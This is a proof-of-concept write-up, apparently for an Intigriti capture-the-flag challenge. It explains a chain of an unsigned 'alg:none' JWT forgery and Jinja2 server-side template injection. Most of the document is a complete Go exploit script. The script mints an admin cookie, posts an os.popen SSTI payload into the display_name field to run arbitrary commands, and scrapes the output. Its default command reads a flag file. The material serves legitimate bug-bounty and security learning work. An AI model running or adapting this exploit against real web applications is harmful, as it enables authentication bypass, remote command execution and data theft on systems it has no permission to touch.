# Intigriti Challenge 1125 – SSTI Chain PoC ## Overview - **Vulnerability Type:** Server-side template injection (Jinja2 SSTI) + unsigned JWT. - **Target:** `https://challenge-1125.intigriti.io`. - **Impact:** Remote command execution (RCE) and sensitive file exposure. - **This repo:** A small Go program (`main.go`) that automates the PoC. ## Impact - Authenticated attacker equivalent privileges without credentials by forging JWT. - Full remote code execution via template sandbox escape enables arbitrary file read/write, lateral movement, and persistence. - Sensitive artifacts (e.g., `INTIGRITI{...}` flag) can be exfiltrated; database or secret leaks are highly likely. - Exploit chain is zero-click once cookie is set, so detection is difficult and response window minimal. ## Root Cause - The server accepts the JWT in the `token` cookie without verifying any signature (`alg: none`). - The admin panel forwards `display_name` directly into Jinja2 and does not prevent access to internals such as `cycler.__init__.__globals__`. - Combining both flaws lets an attacker mint an authenticated admin session and execute `os.popen` commands inside the template. ## PoC Flow 1. **JWT Crafting:** Build an `alg:none` token with admin privileges, encode header/payload using base64-url without padding, and form `header.payload.`. 2. **Cookie Injection:** Send `token=<jwt>` to the target domain (see `makeAdminSession()`). 3. **SSTI Payload:** Submit `{{ cycler.__init__.__globals__['os'].popen('<cmd>').read() }}` in `display_name` via `runCmd()`. 4. **Read Output:** Revisit the admin profile page and grab the `<p>` element under “Current Display Name” to obtain command output. ## PoC Section - `main.go` leverages `makeAdminSession()` to craft the unsigned JWT and set the `token` cookie for an admin session. - `runCmd(cmd string)` POSTs the SSTI payload into `display_name`, then fetches the same endpoint to scrape and print the result. - `main()` calls `runCmd("cat /app/.aquacommerce/019a82cf.txt")`, but you can swap in any command to demonstrate RCE. - Since the script is fully automated, include screenshots or raw output in your report to confirm the manual steps. ## Running the Tool ```bash go run main.go ``` - Default command: `cat /app/.aquacommerce/019a82cf.txt`. - Change the `runCmd("<cmd>")` call in `main()` to execute something else. **Exploit Code** ```go package main import ( "encoding/base64" "encoding/json" "fmt" "io" "net/http" "net/http/cookiejar" "net/url" "strings" "time" "github.com/PuerkitoBio/goquery" ) func b64(data interface{}) string { j, _ := json.Marshal(data) return base64.RawURLEncoding.EncodeToString(j) } func makeAdminSession() *http.Client { header := map[string]string{ "alg": "none", "typ": "JWT", } payload := map[string]interface{}{ "user_id": 1, "username": "admin", "role": "admin", "exp": time.Now().Unix() + 600, } token := b64(header) + "." + b64(payload) + "." jar, _ := cookiejar.New(nil) client := &http.Client{Jar: jar} // Cookie set et baseURL, _ := url.Parse("https://challenge-1125.intigriti.io") client.Jar.SetCookies(baseURL, []*http.Cookie{ { Name: "token", Value: token, Path: "/", Domain: "challenge-1125.intigriti.io", }, }) return client } func runCmd(cmd string) { client := makeAdminSession() tpl := fmt.Sprintf("{{ cycler.__init__.__globals__['os'].popen('%s').read() }}", cmd) form := url.Values{} form.Set("display_name", tpl) req, _ := http.NewRequest( "POST", "https://challenge-1125.intigriti.io/admin/profile", strings.NewReader(form.Encode()), ) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") _, _ = client.Do(req) // GET profile resp, err := client.Get("https://challenge-1125.intigriti.io/admin/profile") if err != nil { fmt.Println("GET error:", err) return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) // HTML parse doc, _ := goquery.NewDocumentFromReader(strings.NewReader(string(body))) // "Current Display Name" altında gelen <p> elemanını çekiyoruz var output string doc.Find("label").Each(func(i int, s *goquery.Selection) { if strings.Contains(s.Text(), "Current Display Name") { p := s.Parent().Find("p") output = strings.TrimSpace(p.Text()) } }) if output == "" { fmt.Println("No output found (UI değişmiş olabilir)") } else { fmt.Println("CMD OUTPUT:\n" + output) } } func main() { runCmd("cat /app/.aquacommerce/019a82cf.txt") } ```